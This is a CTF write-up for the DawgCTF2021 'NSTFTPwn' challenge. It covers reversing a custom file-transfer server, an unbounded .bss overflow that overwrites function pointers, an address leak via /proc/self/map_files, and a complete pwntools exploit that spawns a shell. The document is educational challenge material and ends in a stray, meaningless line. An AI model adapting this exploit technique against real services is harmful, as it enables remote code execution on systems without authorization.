DawgCTF2021: NSTFTPwn
NSTFTPwn
I wasn’t able to spend too much time on this CTF, however I did manage to get first blood on the highest valued pwn with Antibuddies solving the challenge only 1 minute after me.
Description
It turns out that the guy that wrote the backdoor in NSTFTP wasn’t a great C programmer either, and we think his code has bugs. Can you prove it by exploiting the server and running flag_printer? We’ll need that flag to prove it’s vulnerable. (Note, binary and libc are both available over NSTFTP.)
nstftp://umbccd.io:4300/
Initial Analysis
We were only provided a PCAP and no binaries, so we had to figure out how to retrieve the binaries before we can begin vuln research.
Opening the PCAP in wireshark, I inspected the TCP streams to see how to interact with the NSTFTP service.
The service first sends a packet containg the version, then the client responds with a packet identifing the client_name. The client sends another packet requesting a directory listing for the directory “.”. The server responds with all the files in the directory.
The client sends a request to read the “README.txt” file and the server responds with the contents.
This is all the information we need to be able to read the contents of the nstftp
binary as well as the flag_printer
binary.
Reading files
At this point, I still didnt know much about the structure of the packets but what I did notice was when getting the directory listings, the packet bytes of a file was 0414000000000000000a524541444d452e747874
and to read the file was 0514000000000000000a524541444d452e747874
. So by changing the first byte from “\x04” to “\x05” we could read a file.
Using that info, I created a small script to pull the nstftp
, flag_printer
, and libc-2.31.so
binaries.
An example of that code for the libc-2.31.so
binary below.
from pwn import *
import binascii
io = remote("umbccd.io",4300)
io.readuntil("v0.1")
header = binascii.unhexlify("022000000000000000164e53544654502d636c69656e742d676f2d6461776773")
io.send(header)
file1 =binascii.unhexlify("0516000000000000000c6c6962632d322e33312e736f")
io.send(file1)
io.readuntil("\x7fELF")
f = open("libc-2.31.so","wb")
f.write("\x7fELF")
data = io.readall(timeout=1)
f.write(data)
Reversing the Binaries
The first binary I pulled was the flag_printer
binary.
The main function of that binary calls get_flag
, which reads the flag from /root/pwnflag
.
So from here it seems like the way to go is to run this binary or just read the flag file.
I moved onto reversing the nstftp
binary to understand more of this protocol.
The main function of the binary below shows that the server parses some commandline args and eventually calls the function of interest which I named real_start
real_start
sends the server version packet and then calls a function which then parses the user’s sent packets.
The parse_pkt
then parses the packet and determines what function is run.
At this point, I have determined the packet structure to look something like
struct pkt __packed
{
char opcode;
char pkt_size;
char padding[0x7];
char data_size;
char* data;
};
By sending a specified opcode, we can control which function will be executed with our packet.
With the goal being to read the flag file at /root/pwnflag
, I looked into the read_file
function. Unfortunately, as shown below, the read function will error out of we try to send a file name containing a /
.
The print_re_flag#1
is for a different challenge so I won’t go into detail about that one.
I then looked at the list_dirs
function. There was an interesting part of code which contained the vulnerability.
The function would loop for the data_size
of the packet writing the bytes one by one to the dir_name
variable located in the .bss
section. There is no bounds checking so Its possible to send a packet containg a high value in the data_size
field and write past the size of the dir_name
variable on the .bss
.
Looking at what we can overwrite shows that we can overwrite the function pointers of the functions that parse the packets.
Exploitation
With this knowledge, I wrote a poc to overwrite the list_dirs
function pointer with invalid data to cause a crash and started up a local instance in gdb to examine the crash. The size of the dir_name
buffer was 0x80 bytes, so the next bytes after will corrupt the list_dirs
function pointer.
I put a break point on the address below to stop gdb right before executing my corrupt function pointer.
To set my breakpoint, I used the following gdb-gef commands:
set follow-fork-mode child
start
pie b *0x2eac
c
Then ran the poc, sending the list_dirs
packet twice, once to overwrite the function pointer and the second the trigger the corrupt function pointer:
from pwn import *
import binascii
context.binary = elf = ELF("./nsftp")
def make_pkt(opcode,data):
pkt = b""
pkt+= opcode
pkt+= b"\x00"
pkt+= b"\x00"*7
pkt+= bytes([len(data)])
pkt+= data
pkt_len = len(pkt)
l = list(pkt)
l[1] = pkt_len
pkt = bytes(l)
return pkt
io = remote("127.0.0.1",1337)
io.readuntil(b"v0.1")
header_pkt = make_pkt(b"\x02",b"gang-gang")
payload =b""
payload += b"A"*0x80
payload += b"B"*8
ls_pkt = make_pkt(b"\x03",payload)
io.send(ls_pkt)
# Trigger it
io.send(ls_pkt)
io.interactive()
When gdb breaks, I run continue
to run past the first packet and then break right before we trigger the corrupt function pointer.
GDB right before calling our corrupt funtion pointer:
If I step passed this next instruction, the binary will call what is at 0x55555555a148
using tele
we can confirm we overwrite the function pointer with 8 “B”s.
Getting the right enviornment
To make sure that my local exploitation lines up with the remote service, I used pwninit
to retrieve the correct interpreter and then used patchelf
to set the binary’s interpreter and rpath.
pwninit
patchelf --set-interpreter ld-2.31.so ./nsftp
patchelf --set-rpath . ./nsftp
I also renamed the libc we retrieved from the service to libc.so.6
.
Bypassing mitigations
Now that we have a crash we can control, we need to pop a shell, unfortunately this binary has all mitigations enabled as well as ASLR on remote.
With PIE enabled, ROPing becomes a lot harder as we can not use any gadgets in the base binary without knowing the the address the binary is loaded at. With ASLR enabled, the same goes with libc gadgets. So its important that we can find a leak of either libc or the base binary.
The Leak
Going back to the functions we can run, the list_dirs
function was able to print all the files in a given directory and unlike the read_file
function, there was filter on the path.
This means we can leak the files in the directory /proc/self/map_files
. Inside this directory contains links to each file mapped in the binary NAMED the address start hypen end of the mapped region. This is very similar to the output of gdb’s vmmap
So know we can send a packet to list the directory of /proc/self/map_files
and leak both the binary base address and libc base address.
Putting it together
First by sending a packet to read /proc/self/map_files
and then parsing that response we can then write a gadget correctly mapped over the list_dir
function pointer.
The best type of gadget to go with is a one_gadget
so we don’t need to write any complicated ropchain.
Running one_gadget
on the libc results in 3 gadgets:
0xe6e73 execve("/bin/sh", r10, r12)
constraints:
[r10] == NULL || r10 == NULL
[r12] == NULL || r12 == NULL
0xe6e76 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
0xe6e79 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Setting that breakpoint before the function pointer call like I did earlier, I examined the state of the registers at the time right before our control of the program counter.
r12 is not NULL so that rules out the first gadget. rsi is not NULL so that rules out the last gadget.
Both r12 and rdx are NULL so it appears the second gadget will work.
Unfortunately, after stepping through that one gadget, execution breaks at the following instruction:
This gadget requires rbp to be a valid pointer so we can’t use this gadget.
So like always, one_gadget
fails, I have to turn to finding a useful gadget manually.
Opening the libc up in binaryninja and looking at all the references to the string /bin/sh
, I found a gadget to loads the string into rdi and sets rsi from r15.
rdx is alread NULL at the time so we have everything we need.
Using the gadget at 0xe6c81
, we finally pop a shell
Final exploit
from pwn import *
context.binary = elf = ELF("./nsftp")
def make_pkt(opcode,data):
pkt = b""
pkt+= opcode
pkt+= b"\x00"
pkt+= b"\x00"*7
pkt+= bytes([len(data)])
pkt+= data
pkt_len = len(pkt)
l = list(pkt)
l[1] = pkt_len
pkt = bytes(l)
return pkt
io = remote("umbccd.io",4300)
#io = remote("127.0.0.1",1337)
io.readuntil(b"v0.1")
header_pkt = make_pkt(b"\x02",b"gang-gang")
# leak pie
ls_pkt = make_pkt(b"\x03",b"/proc/self/map_files")
io.send(ls_pkt)
for _ in range(208):
io.read(1)
libc_base = int(io.read(12),16)
print("libc Base: " + hex(libc_base))
one_gad = 0xe6c81+libc_base
print("one_gad:"+hex(one_gad))
payload = b"A"*0x80
payload += p64(one_gad)
ls_pkt = make_pkt(b"\x03",payload)
io.send(ls_pkt)
# Trigger
io.send(ls_pkt)
io.interactive()
We can the run the flag_printer
binary and get the flag
NOTE: there was so problem with pwntools reading the socket stream so instead of just running io.read(208)
I had to run a loop to read 1 byte at a time 208 times.
NOTE: FOR REPEAR FANS:76YTYGUHJIOUYIG